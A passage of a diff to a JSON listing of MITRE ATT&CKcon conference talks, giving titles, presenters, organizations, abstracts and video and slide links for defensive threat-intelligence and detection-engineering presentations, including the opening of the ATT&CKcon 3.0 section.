Join us as we embark on this fascinating journey filled with knowledge, entertainment, and a touch of Legend of Zelda magic!", + "video": "https://www.youtube.com/watch?v=u_XN7lZHtL4&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=10", + "slides": "https://www.slideshare.net/MITREATTACK/lnk-tears-of-the-kingdom" + }, + { + "title": "One Leg to Stand on: Adventures in Adversary Tracking with ATT&CK", + "presenters": [ + { + "names": [ + "Nicole Hoffman", + "James Nutland" + ], + "organization": "Cisco" + } + ], + "description": "How many times have you added MITRE ATT&CK techniques to the end of a report and thought you could be doing more? Even though ATT&CK has become an industry standard for cyber threat intelligence reporting, all too often, techniques are thrown at the bottoms of reports and blogs without any context never to be seen again after dissemination. This is not useful for intelligence producers or consumers. Avast ye maties! Within this presentation, we are going to show analysts how they can use ATT&CK as a guideline for creating a contextual knowledge base for adversary tracking. Gone are the days of floundering about looking for information collected about a specific adversary or behavior. Gone are the days of wondering why the rum and context are always gone. Ahoy, me hearties! Hoist up the sails and prepare your sea legs for some swashbuckling adversary tales from the high seas where we will focus on the fickle commodity loader, Qakbot.", + "video": "https://www.youtube.com/watch?v=4JnFj-xdLEw&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=11", + "slides": "https://www.slideshare.net/MITREATTACK/one-leg-to-stand-on-adventures-in-adversary-tracking-with-attck" + }, + { + "title": "MITRE ATT&CK Updates: Software", + "presenters": [ + { + "names": [ + "Jared Ondricek" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "", + "video": "https://www.youtube.com/watch?v=5cl3rnrt5nA&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=12", + "slides": "https://www.slideshare.net/MITREATTACK/mitre-attck-updates-software" + }, + { + "title": "The Art of Communicating ATT&CK to the CFO", + "presenters": [ + { + "names": [ + "Phil Davies" + ], + "organization": "Distilled Security" + } + ], + "description": "You have had a pen test, a red team or a threat intelligence report and drawn up a plan for remediation. You have been told you have 15 mins in front of the CFO in 48 hours! How do you show ,on one page, the connection between the techniques you are exposed and vulnerable to, the path of least resistance and the focused control changes required right now?

How will the CFO get the picture so the result is \"I get it, what do you need?\"

Understanding ATT&CK as a practitioner is great with the current matrix but it is inaccessible to the CFO. But it doesn't have to be that way.

Phil will chart the journey to improved visualization of ATT&CK techniques. He will show how the DNA of ATT&CK doesn’t just make ATT&CK accessible for all but that it can be beautiful!", + "video": "https://www.youtube.com/watch?v=FJ8FdgEgYXw&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=13", + "slides": "https://www.slideshare.net/slideshow/the-art-of-communicating-attck-to-the-cfo/262859524" + }, + { + "title": "Navigating the Attention Economy – Using MITRE ATT&CK to Communicate to Stakeholders at all Levels", + "presenters": [ + { + "names": [ + "Alexandrea Berninger" + ], + "organization": "Accenture" + } + ], + "description": "We live in a world where attention is scarce. And yet we need to communicate complex information effectively to a variety of audiences. This talk will discuss how to cut through the noise of information overload by using MITRE ATT&CK to reach your audience. It will use lessons I have learned from videography, combined with Cyber Threat Intelligence (CTI) to weave a story around how to think about communicating to your audience when gaining their focus is becoming increasingly difficult. Using current research into focus and attention spans, combined with trends in how people like to obtain information, this talk will recommend paths to building compelling stories with MITRE ATT&CK so that stakeholders can immediately gain value from threat intelligence reports without having to read a full long-form report.", + "video": "https://www.youtube.com/watch?v=IrZfxkfOUd0&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=14", + "slides": "https://www.slideshare.net/MITREATTACK/navigating-the-attention-economy-using-mitre-attck-to-communicate-to-stakeholders-at-all-levels" + }, + { + "title": "CISA usage of ATT&CK in Cybersecurity Advisories", + "presenters": [ + { + "names": [ + "James Stanley" + ], + "organization": "CISA" + } + ], + "description": "CISA's Adoption of the MITRE ATT&CK Framework

Over the past several years, CISA has worked to incorporate ATT&CK whenever applicable into our Cybersecurity Advisories and other cyber guidance. It has become the universal language for discussing how the adversary operates, and we leverage it for our stakeholders to respond to urgent events in real time, as well as detailed reports on subjects like our Red Team activities to give network defenders proactive guidance on how to harden their networks.", + "video": "https://www.youtube.com/watch?v=F581j2kSN7o&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=15", + "slides": "https://www.slideshare.net/MITREATTACK/cisa-usage-of-attck-in-cybersecurity-advisories" + }, + { + "title": "10th Anniversary Panel", + "presenters": [ + { + "names": [ + "Brad Crawford" + ], + "organization": "Phylum" + }, + { + "names": [ + "Katie Nickels" + ], + "organization": "Red Canary" + }, + { + "names": [ + "Jen Miller-Osborn" + ], + "organization": "Cyberthreat Intelligence" + }, + { + "names": [ + "Blake Strom" + ], + "organization": "Microsoft" + }, + { + "names": [ + "Eric Sheesley" + ], + "organization": "Sony Group Corporation" + } + ], + "description": "Celebrating 10 years of ATT&CK", + "video": "https://www.youtube.com/watch?v=oGObE5BkdSE&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=17" + }, + { + "title": "Evaluating and Enhancing Security Maturity through MITRE ATT&CK Mapping", + "presenters": [ + { + "names": [ + "Pranusha Somareddy" + ], + "organization": "Lark Health" + } + ], + "description": "By aligning security controls with specific adversary techniques and tactics, organizations can gain a comprehensive understanding of their defensive capabilities. This mapping exercise serves as a vital step in identifying potential gaps and weaknesses within the security architecture. The evaluation of security maturity using the MITRE ATT&CK framework provides valuable insights into the effectiveness of existing controls, shedding light on areas that require improvement or further attention.

In this presentation, we will delve into practical strategies and real-world examples that showcase how organizations can successfully leverage the MITRE ATT&CK framework to enhance their security maturity. We will also explore key topics such as:\n\t(i)Customizing security training and awareness programs based on roles and responsibilities\n\t(ii)Conducting thorough assessments of incident response capabilities through the framework\n\t(iii)Integrating threat intelligence derived from ATT&CK to continuously improve the security posture", + "video": "https://www.youtube.com/watch?v=wc07D7FTgI4&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=18", + "slides": "https://www.slideshare.net/MITREATTACK/evaluating-and-enhancing-security-maturity-through-mitre-attck-mapping" + }, + { + "title": "Using ATT&CK to Create Wicked Actors in Real Data", + "presenters": [ + { + "names": [ + "Simeon Kakpovi", + "Greg Schloemer" + ], + "organization": "KC7 Foundation" + } + ], + "description": "KC7 uses an experiential learning pedagogy to teach cybersecurity analysis to students of all levels, from elementary school all the way to industry professionals. In the KC7 experience, students analyze realistic cybersecurity data and answer a series of CTF-style questions that guide them through an investigative journey.

In order to generate authentic intrusion data, we create a fictional company that is attacked by cyber threat actors. The attributes and behaviors of these actors are defined via yaml configurations that are modeled based on MITRE ATT&CK categories and techniques. For example, we can granularly define what techniques an attacker uses for initial access or lateral movement, and how the actor explicitly uses those techniques.

Students that effectively analyze KC7 intrusion data can map the observed activity to the various stages of the MITRE ATT&CK framework. Organizing actor definitions around the ATT&CK framework allows KC7 to create a rich set of intrusion data in various permutations - and ensure that students are exposed to a diverse array of scenarios. A pleasant byproduct of this methodology is that students of MITRE ATT&CK can now study techniques contextually in data rather than just reading about them in reports.", + "video": "https://www.youtube.com/watch?v=I2shZqo_k2Y&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=19", + "slides": "https://www.slideshare.net/slideshow/using-attck-to-created-wicked-actors-in-real-data/262859770" + }, + { + "title": "MITRE ATT&CK Updates: New Ideas in Enterprise - Pushing the boundaries of ATT&CK's long-established scope", + "presenters": [ + { + "names": [ + "Patrick Howell O'Neill" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "", + "video": "https://www.youtube.com/watch?v=rY81pNC_wHc&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=20", + "slides": "https://www.slideshare.net/MITREATTACK/mitre-attck-updates-new-ideas-in-enterprise-pushing-the-boundaries-of-attcks-longestablished-scope" + }, + { + "title": "ATT&CK is the Best Defense - Emulating Sophisticated Adversary Malware to Bolster Defenses", + "presenters": [ + { + "names": [ + "Sajal Thomas", + "Vishnu Raju" + ], + "organization": "Crowdstrike" + } + ], + "description": "", + "video": "https://www.youtube.com/watch?v=PvnZNnCmNx4&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=22", + "slides": "https://www.slideshare.net/MITREATTACK/attck-is-the-best-defense-emulating-sophisticated-adversary-malware-to-bolster-defenses" + }, + { + "title": "Detection as Code, Automation, and Testing: The Key to Unlocking the Power of Detection Engineering", + "presenters": [ + { + "names": [ + "Olaf Harton" + ], + "organization": "FalconForce" + } + ], + "description": "Modern security teams have been engineering solid detections for a while now. All this great output also needs to be managed well.\n* How can we make sure that the detections we have spent a lot of time developing are deployed and are running in production in the same way as they were designed?\n* How can we assure our detection and prevention controls are still working and are detecting the attacks they have been designed to cover?

We will show how we have built a robust and flexible development and deployment process using cloud technnologies. This process allows us to quickly and easily implement new detection controls, test them across multiple environments, and deploy them in a controlled and consistent manner.

We will discuss how security teams can reap the benefits of using detection-as-code, and how this can help achieving a single source of truth for their detection logic. Adopting this approach enables teams to use automation and unit testing to manage and validate their detection controls across multiple environments and ensure proper documentation. By adopting a detection-as-code approach, teams can gain the confidence that comes from knowing that their detections and mitigations work as intended.", + "video": "https://www.youtube.com/watch?v=dF4iAF4MiXw&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=23", + "slides": "https://www.slideshare.net/MITREATTACK/detection-as-code-automation-and-testing-the-key-to-unlocking-the-power-of-detection-engineering" + }, + { + "title": "MITRE ATT&CK Updates: State of the Cloud", + "presenters": [ + { + "names": [ + "Casey Knerr" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "", + "video": "https://www.youtube.com/watch?v=m2HZgOYxcic&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=26", + "slides": "https://www.slideshare.net/MITREATTACK/mitre-attck-updates-state-of-the-cloud" + }, + { + "title": "Driving Intelligence with MITRE ATT&CK: Leveraging Limited Resources to Build an Evolving Threat Repository", + "presenters": [ + { + "names": [ + "Scott Roberts" + ], + "organization": "Interpres Security" + } + ], + "description": "Building threat intelligence is challenging, even under the most ideal circumstances. But what if you are even more limited in your resources? You are part of a small (but skilled) team, with high expectations, and people are relying on you to make business-critical decisions…all the time! What do you do in that situation? Turn a Toyota Tercel into a tank, of course.\nThe Interpres Security threat intelligence team found itself in that exact situation. Wanting to leverage the MITRE ATT&CK catalog in creating a comprehensive and timely threat intelligence repository, the Interpres team built a series of tools, processes, and paradigms that we call Intelligence Engineering. In this talk, we’ll examine how we combined ATT&CK, STIX2, the Vertex Project’s open-source intelligence platform, Synapse, and custom code to deliver meaningful, rapid, verifiable intelligence to our customers. We’ll share lessons learned on automation, how to run multiple ATT&CK libraries side-by-side, and making programmatic intelligence delivery scalable and effective – just like building a tank out of an imported sedan.", + "video": "https://www.youtube.com/watch?v=84IEmaiigLQ&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=25", + "slides": "https://www.slideshare.net/MITREATTACK/driving-intelligence-with-mitre-attck-leveraging-limited-resources-to-build-an-evolving-threat-repository" + }, + { + "title": "Cloud Native Workload ATT&CK Matrix", + "presenters": [ + { + "names": [ + "Matthew Mills", + "Nathaniel Beckstead", + "Ryan Simon" + ], + "organization": "Datadog" + } + ], + "description": "Cloud native computing has fundamentally changed traditional security methodologies and attack surfaces. This new architectural approach combines new operational tools and services like continuous integration, container engines, and orchestrators. Some organizations struggle to identify and respond to threats they specifically face when running cloud native workloads.

Perimeter-centric security evangelizes defense-in-depth or the onion model to implement different layers of defense. Cloud native security hyper-focuses on four unique layers: Cloud, Clusters, Containers, and Code.

Today's defenders have to look across several existing ATT&CK matrices including Linux Enterprise, Containers, Kubernetes, and IaaS to holistically evaluate and model threats or attack paths across the four distinct layers of cloud native workloads.

In conclusion, we will discuss some of the challenges facing threat modeling cloud native workloads, including showing how to leverage several different ATT&CK matrices to create a distinct Cloud Native Workload ATT&CK matrix. The creation of this matrix will help defenders take the guesswork out of identifying what tactics serve as potential threats against a cloud native workload in order to enhance their defensive baseline and detection coverage.", + "video": "https://www.youtube.com/watch?v=Q8GY8TYDklc&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=26", + "slides": "https://www.slideshare.net/MITREATTACK/cloud-native-workload-attck-matrix" + }, + { + "title": "MITRE ATT&CK based Threat Analysis for Electronic Flight Bag", + "presenters": [ + { + "names": [ + "Ozan Olali" + ], + "organization": "IBM Security" + } + ], + "description": "The Electronic Flight Bag (EFB) has become an indispensable tool in modern aviation, providing pilots with digital resources and critical flight information. However, the increased reliance on EFB systems running on operating systems, introduces various security challenges. In this session, a technical assessment approach with MITRE ATT&CK framework to perform a comprehensive threat analysis of an EFB solution, will be presented. The potential attack vectors and relation with the risks for business/ flight operations will be demonstrated.", + "video": "https://www.youtube.com/watch?v=b0xwEDA6d98&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=27", + "slides": "https://www.slideshare.net/MITREATTACK/mitre-attck-based-threat-analysis-for-electronic-flight-bag" + }, + { + "title": "I Can Haz Cake: Benefits of Working with MITRE on ATT&CK", + "presenters": [ + { + "names": [ + "Tim Wadhwa-Brown" + ], + "organization": "Cisco" + } + ], + "description": "The purpose of this session will be to look at how the linux-malware repo came to take shape and how we've used it to inform our view on adversarial behaviour over the last couple of years. Since the original reason for staring this project was to look at Linux coverage in ATT&CK, we'll play back some of the interesting points and reflect on how they've affected ATT&CK itself.", + "video": "https://www.youtube.com/watch?v=PCw3Wa9GBP4&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=28", + "slides": "https://www.slideshare.net/slideshow/i-can-haz-cake-benefits-of-working-with-mitre-on-attck/262860255" + }, + { + "title": "Updates from the Center for Threat-Informed Defense", + "presenters": [ + { + "names": [ + "Jon Baker" + ], + "organization": "MITRE Engenuity Center for Threat-Informed Defense" + } + ], + "description": "", + "video": "https://www.youtube.com/watch?v=QrwJ1L_m438&list=PLkTApXQou_8If8_fwdCKVnwHr0WaEnfSH&index=29", + "slides": "https://www.slideshare.net/MITREATTACK/updates-from-the-center-for-threatinformed-defense" + }, + { + "title": "Lightning Talk: The case for quishing", + "presenters": [ + { + "names": [ + "Brian Donohue" + ], + "organization": "Red Canary" + } + ], + "description": "Despite an absurd (or maybe disgusting) name, quishing is emerging as an undeniable risk to organizations. Sure, it's offered adversaries an avenue for initial access for many years, and, yes, public reporting on such incidents has been somewhat underwhelming. However, QR codes are officially ubiquitous, people are extremely comfortable with them, and, in the coming years, quishing is bound to become a powerful and reliable weapon in the arsenal of sophisticated adversaries. In 5 minutes of compelling and persuasive speech, I'll make the case for why Quishing deserves to be a standalone sub-technique of phishing in the enterprise ATT&CK® matrix.", + "video": "https://youtu.be/TsrOYObSMO4?si=oKhghRS2bs91b7-B&t=58", + "slides": "https://www.slideshare.net/MITREATTACK/the-case-for-quishing" + }, + { + "title": "Lightning Talk: Enhancing Breach and Attack Simulation (BAS) Impact with MITRE ATT&CK and LLMs", + "presenters": [ + { + "names": [ + "Jose Barajas" + ], + "organization": "AttackIQ" + } + ], + "description": "The evolving complexity and sophistication of cyber threats necessitate a robust and automated approach to threat report analysis and mapping. Leveraging the power of large language models (LLMs) in conjunction with the MITRE ATT&CK framework can dramatically streamline this process. We, at AttackIQ, are developing a process leveraging LLMs to not only extract the ATT&CK tactics and techniques from cyber threat reports, but also parsing the equally crucial information such as the command line snippets, implementation methodology, image-to-text conversions, etc. in order to significantly reduce the amount of time and manpower spent in threat report mapping while enabling the teams to focus on more critical aspects of BAS scenario development.", + "video": "https://youtu.be/TsrOYObSMO4?si=P4swHrpJtfdIEiaL&t=338" + }, + { + "title": "Lightning Talk: Discussion on Finding Relationships in Cyber Data", + "presenters": [ + { + "names": [ + "Stephen Johnson", + "Emma MacMullan" + ], + "organization": "Capital One" + } + ], + "description": "Capital One is currently building a Security Graph to tie together various Cyber Teams and their data -- Controls, Objectives, Tools, and Countermeasures, Threats. It is an ambitious project that will help us identify gaps and focus our controls on the most likely and persistent threats. It is a work in progress that is using MITRE ATT&CK and D3FEND as a \"lingua franca\" to tie together the elements of the graph, so we have a common understanding across the enterprise.", + "video": "https://youtu.be/TsrOYObSMO4?si=Z-Nn_qQMCaOsuk7m&t=621", + "slides": "https://www.slideshare.net/MITREATTACK/discussion-on-finding-relationships-in-cyber-data" + }, + { + "title": "Lightning Talk: ATT&CK STIX mapping challenges", + "presenters": [ + { + "names": [ + "Jason Keirstead" + ], + "organization": "Cyware" + } + ], + "description": "MITRE provides a set of robust STIX objects that implement the entire ATT&CK matrix (it is actually the reference data). However, there is a challenge as there is no official recommended way from MITRE on how someone should REFERENCE these objects inside their own STIX data. As a result, vendors amd threat providers have created many incompatible ways to reference ATT&CK techniques. We will show a few examples of this, talk about how it creates challenges, and suggest a path forward for the community.", + "video": "https://youtu.be/TsrOYObSMO4?si=eXkXK0IsgJw6LSJJ&t=937" + }, + { + "title": "Lightning Talk: Adjectives for ATT&CK", + "presenters": [ + { + "names": [ + "Benjamin Langrill" + ], + "organization": "Security Optimizer" + } + ], + "description": "If you tell me an attacker performed OS Credential Dumping, did they dump credentials with meterpreter, recompile mimikatz, or use a custom tool? The technique reference lacks a way to categorize how they performed the action and each type requires its own mitigation. In this talk, Ben Langirll will propose formal adjectives for ATT&CK techniques that map to adversary capabilities and how we can use them to optimize defensive choices.", + "video": "https://youtu.be/TsrOYObSMO4?si=pKsLpSbE4_5WdScA&t=1221", + "slides": "https://www.slideshare.net/MITREATTACK/adjectives-for-attck" + }, + { + "title": "Lightning Talk: Of Lenses and Layers", + "presenters": [ + { + "names": [ + "Andrew Malone" + ], + "organization": "JetBlue" + } + ], + "description": "Many use the ATT&CK matrix to map tool coverage across the environment. This blanket coverage is a good baseline but it can miss certain aspects of the enterprise's context like risk levels, organisational priorities, and industry specific threat intelligence. I want to discuss ways to layer these lenses on top of an enterprise mapping to make ATT&CK more relevant to the specific enterprise. If done right this can lead to more actionable metrics and reporting on improvements.", + "video": "https://youtu.be/TsrOYObSMO4?si=pkg565FUFuOh_f7X&t=1507", + "slides": "https://www.slideshare.net/slideshow/or-lenses-and-layers-adding-business-context-to-enterprise-mappings/262859506" + }, + { + "title": "Lightning Talk: ATT&CK’s Adoption in CTI: A Great Success (with Room to Grow!)", + "presenters": [ + { + "names": [ + "Scott Small" + ], + "organization": "Tidal Cyber" + } + ], + "description": "This metrics- and meme-based lightning session spotlights the success story that is the CTI industry’s impressive (and expanding) adoption of ATT&CK in their products. Using nearly 6 years’ worth of ATT&CK-mapped, public threat reports collected from government, vendor, & independent sources, we’ll show how the rate (and detail) of mapping has increased considerably, while showcasing (anonymized) examples of high-quality end-products, with the aim of inspiring further ATT&CK adoption in this important corner of the field.", + "video": "https://youtu.be/TsrOYObSMO4?si=iqw3wjOGyPIMtApY&t=1794", + "slides": "https://www.slideshare.net/slideshow/attcks-adoption-in-cti-a-great-success-with-room-to-grow/262860181" + }, + { + "title": "Lightning Talk: Automating testing by implementing ATT&CK using the Blackboard Architecture", + "presenters": [ + { + "names": [ + "Jeremy Straub" + ], + "organization": "NDSU Cybersecurity Institute" + } + ], + "description": "This presentation will briefly summarize work that we've done regarding implementing the ATT&CK framework as a rule-fact-action network within a Blackboard Architecture, allowing the ATT&CK framework to enable security testing automation. The presentation will start with a quick summary of the concept behind this and then present a few implementation examples.", + "video": "https://youtu.be/TsrOYObSMO4?si=bEJ6ZvUJQU3J3nwe&t=2114", + "slides": "https://www.slideshare.net/MITREATTACK/automating-testing-by-implementing-attck-using-the-blackboard-architecture" + } ] -}, -{ + }, + { "date": "March 2022", "title": "ATT&CKcon 3.0", "description": "", "banner_img": "/theme/images/ATTACKcon-3-Banner.png", "sponsors_img_list": [ - "/theme/images/attackcon3-sponsors/analyst1.png", - "/theme/images/attackcon3-sponsors/attackiq.png", - "/theme/images/attackcon3-sponsors/cyber-ranges.png", - "/theme/images/attackcon3-sponsors/cyborg-security.png", - "/theme/images/attackcon3-sponsors/kroll.png", - "/theme/images/attackcon3-sponsors/microsoft.png", - "/theme/images/attackcon3-sponsors/pentera.png", - "/theme/images/attackcon3-sponsors/picus.png", - "/theme/images/attackcon3-sponsors/trellix.jpeg", - "/theme/images/attackcon3-sponsors/trend-micro.png" + "/theme/images/attackcon3-sponsors/analyst1.png", + "/theme/images/attackcon3-sponsors/attackiq.png", + "/theme/images/attackcon3-sponsors/cyber-ranges.png", + "/theme/images/attackcon3-sponsors/cyborg-security.png", + "/theme/images/attackcon3-sponsors/kroll.png", + "/theme/images/attackcon3-sponsors/microsoft.png", + "/theme/images/attackcon3-sponsors/pentera.png", + "/theme/images/attackcon3-sponsors/picus.png", + "/theme/images/attackcon3-sponsors/trellix.jpeg", + "/theme/images/attackcon3-sponsors/trend-micro.png" ], "presentations": [ - { - "title": "Intelligence Failures of Lincolns Top Spies: What CTI Analysts Can Learn From the Civil War", - "presenters": [ - { - "names": ["Selena Larson"], - "organization": "Proofpoint" - } - ], - "description": "ATT&CKcon 3.0 Keynote. Read the accompanying blog post as well.", - "video": "https://www.youtube.com/watch?v=07eaF2RVxK0&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=2", - "slides": "https://www.slideshare.net/MITREATTACK/intelligence-failures-of-lincolns-top-spies-what-cti-analysts-can-learn-from-the-civil-war" - }, - { - "title": "State of the ATT&CK", - "presenters": [ - { - "names": ["Adam Pennington"], - "organization": "MITRE ATT&CK" - } - ], - "description": "", - "video": "https://www.youtube.com/watch?v=1JLZkNe085g&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=3", - "slides": "https://www.slideshare.net/MITREATTACK/state-of-the-attck" - }, - { - "title": "Mapping to MITRE ATT&CK: Enhancing Operations Through the Tracking of Interactive Intrusion Campaigns.pdf", - "presenters": [ - { - "names": ["Jason Wood, Justin Swisher"], - "organization": "CrowdStrike" - } - ], - "description": "When it comes to understanding and tracking intrusion tradecraft, security teams must have the tools and processes that allow the mapping of hands-on adversary tradecraft. Doing this enables your team to both understand the adversaries and attacks you currently see and observe how these adversaries and attacks evolve over time. This session will explore how a threat hunting team uses MITRE ATT&CK to understand and categorize adversary activity. The team will demonstrate how threat hunters map ATT&CK TTPs by showcasing a recent interactive intrusion against a Linux endpoint and how the framework allowed for granular tracking of tradecraft and enhanced security operations. They will also take a look into the changes in the Linux activity they have observed over time, using the ATT&CK navigator to compare and contrast technique usage. This session will provide insights into how we use MITRE ATT&CK as a powerful resource to track intrusion tradecraft, identify adversary trends, and prepare for attacks of the future.", - "video": "https://www.youtube.com/watch?v=uYJAoedpJkQ&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=4", - "slides": "https://www.slideshare.net/MITREATTACK/mapping-to-mitre-attck-enhancing-operations-through-the-tracking-of-interactive-intrusion-campaignspdf" - }, - { - "title": "Knowledge for the masses: Storytelling with ATT&CK", - "presenters": [ - { - "names": ["Ismael Valenzuela, Jose Luis Sanchez Martinez"], - "organization": "Trellix" - } - ], - "description": "The Trellix team believes that creating and sharing compelling stories about cyber threats -with ATT&CK- is a powerful way for raising awareness and enabling actionability against cyber threats.In this talk the team will share their experiences leveraging ATT&CK to disseminate Threat knowledge to different audiences (Software Development teams, Managers, Threat detection engineers, Threat hunters, Cyber Threat Analysts, Support Engineers, upper management, etc.).They will show concrete examples and representations created with ATT&CK to describe the threats at different levels, including: 1) an Attack Path graph that shows the overall flow of the attack; 2) Tactic-specific TTP summary tables and graphs; 3) very detailed, step-by-step description of the attacker's behaviors. ", - "video": "https://www.youtube.com/watch?v=eRHw-An9NuI&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=5", - "slides": "https://www.slideshare.net/MITREATTACK/knowledge-for-the-masses-storytelling-with-attck" - }, - { - "title": "Tracking Noisy Behavior and Risk-Based Alerting with ATT&CK", - "presenters": [ - { - "names": ["Haylee Mills"], - "organization": "Splunk" - } - ], - "description": "Having ATT&CK to identify threats, prioritize data sources, and improve security posture has been a huge step forward for our industry, but how do we actualize those insights for better detection and alerting? By shifting to observations of behavior over one-to-one direct alerts, noisy datasets become valuable treasure troves with ATT&CK metadata. Additionally, we can begin to look at detection and threat hunting on behavior instead of users or systems. In this presentation, Haylee will discuss the shift in mindset and the nuts and bolts of detections that leverage this metadata in Splunk, but the concept can be applied with custom tools to any valuable security dataset.", - "video": "https://www.youtube.com/watch?v=qqNUmfOW3gU&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=6", - "slides": "https://www.slideshare.net/MITREATTACK/tracking-noisy-behavior-and-riskbased-alerting-with-attckpdf" - }, - { - "title": "ATT&CK Updates- Defensive ATT&CK", - "presenters": [ - { - "names": ["Lex Crumpton"], - "organization": "MITRE ATT&CK" - } - ], - "description": "", - "video": "https://www.youtube.com/watch?v=eBeIRYeq7SM&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=7", - "slides": "https://www.slideshare.net/MITREATTACK/attck-updates-defensive-attck" - }, - { - "title": "Would you Rather Have Telemetry into 2 Attacks or 20? An Insight Into Highly Valued Data Sources", - "presenters": [ - { - "names": ["Jonny Johnson, Olaf Hartong"], - "organization": "Red Canary and FalconForce" - } - ], - "description": "As defenders, we often find ourselves wanting \"more\" data. But why? Will this new data provide a lot of value or is it for a very niche circumstance? How many attacks does it apply to? Are we leveraging previous data sources to their full capability? Within this talk, Olaf and Jonny will walk through different data sources they leverage more than most when analyzing data within environments, why they do, and what these data sources do and can provide in terms of value to a defender.", - "video": "https://www.youtube.com/watch?v=ba2e9pWxboU&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=8", - "slides": "https://www.slideshare.net/MITREATTACK/would-you-rather-have-telemetry-into-2-attacks-or-20-an-insight-into-highly-valued-data-sources" - }, - { - "title": "ATT&CK Metaverse - Exploring the Limitations of Applying ATT&CK", - "presenters": [ - { - "names": ["Gert-Jan Bruggink"], - "organization": "Venation" - } - ], - "description": "Since it's inception in 2015, the ATT&CK framework has achieved widespread adoption, with recent studies suggesting over 80 percent of companies using the framework for cyber security. Over the last seven years, a variety of use cases has been explored with different measures of success. In this presentation, Gert-Jan will explore applying the ATT&CK framework in scenario-based defense. When adopting a scenario approach, security teams collaborate to fuse their understanding of certain situations into scenarios. For example, addressing different hypotheses that can be explained to leadership and specialist teams alike. This approach requires more than \"just\" breaking down everything into tactics, techniques, and procedures. Some stakeholders might not understand that. For example, some might want to tell a good story about adversaries while others want to translate their understanding of intrusions into a sequential pattern. The objective of this talk is to explore how the granularity of the framework supports creation of scenarios, the limitations in the current approach to ATT&CK when building scenarios across different stakeholders, and addressing potential areas the \"language of ATT&CK\" can evolve towards over the next 5 years.", - "video": "https://www.youtube.com/watch?v=-sP9wDXH3B4&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=9", - "slides": "https://www.slideshare.net/MITREATTACK/attck-metaverse-exploring-the-limitations-of-applying-attck" - }, - { - "title": "It's just a jump to the left (of boom): Prioritizing detection implementation with intelligence and ATT&CK", - "presenters": [ - { - "names": ["Lindsay Kaye, Scott Small"], - "organization": "Recorded Future" - } - ], - "description": "Many organizations ask: \"Where do I start, and where do I go next\" when prioritizing implementation of behavior-based detections? We often hear \"use threat intelligence!\" but your goals must be qualified and quantified in order to properly prioritize the most relevant TTPs. A wealth of open-sourced, ATT&CK-mapped resources now exists, giving security teams greater access to both detections and red team tests they can implement, but intelligence (also aligned with ATT&CK), is essential to provide necessary context to ensure that detection efforts are focused effectively.
This session will discuss a new approach to the prioritization challenge, starting with an analysis of the current defensive landscape, as measured by ATT&CK coverage for more than a dozen detection repositories and technologies, and guidance on sourcing TTP intelligence. The team will then show how real-world defensive strategies can be strengthened by encompassing a full-spectrum view of threat detection, including the implementation of YARA, Sigma, and Snort in security appliances. Critically, alignment of both intelligence and defenses with ATT&CK enables defenders to move the focus of detection efforts to indications of malicious behavior before the final payload is deployed, where controls are most effective at preventing serious damage to the organization.", - "video": "https://www.youtube.com/watch?v=pwl7L_Lh9_c&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=10", - "slides": "https://www.slideshare.net/MITREATTACK/its-just-a-jump-to-the-left-of-boom-prioritizing-detection-implementation-with-intelligence-and-attck" - }, - { - "title": "ATT&CK Updates- Campaigns", - "presenters": [ - { - "names": ["Matt Malone"], - "organization": "MITRE ATT&CK" - } - ], - "description": "", - "video": "https://www.youtube.com/watch?v=yP0upd-65Yc&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=12", - "slides": "https://www.slideshare.net/MITREATTACK/attck-updates-campaigns" - }, - { - "title": "Landing on Jupyter: The transformative power of data-driven storytelling for security operations", - "presenters": [ - { - "names": ["Jose Barajas, Stephan Chenette"], - "organization": "AttackIQ" - } - ], - "description": "Every cybersecurity leader wants visibility into the health of their security program. Yet teams suffer with disparate data streams - CTI teams and the SOC often use separate Excel spreadsheets, an anachronistic practice - and silos constrain their ability to operate effectively. Enter the Jupyter notebook, an open-source computational notebook that researchers use to combine code, computing output, text, and media into a single interface. In this talk, we share three stories of how organizations use Jupyter notebooks to align ATT&CK-based attack flows to the security program, generating data about detection and prevention failures, defensive gaps, and longitudinal performance. By using Jupyter notebooks in this way, teams can better leverage ATT&CK for security effectiveness. It becomes less of a bingo card and more of a strategic tool for understanding the health of the program against big tactics (I.e., lateral movement), defensive gaps (I.e., micro-segmentation), and the team's performance.", - "video": "https://www.youtube.com/watch?v=pGBzbrLnYmM&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=13", - "slides": "https://www.slideshare.net/MITREATTACK/landing-on-jupyter-the-transformative-power-of-datadriven-storytelling-for-security-operations" - }, - { - "title": "The ATT&CK Philharmonic", - "presenters": [ - { - "names": ["Ivan Ninichuck, Andy Shepard"], - "organization": "Siemplify" - } - ], - "description": "The MITRE ATT&CK framework has improved many areas within the 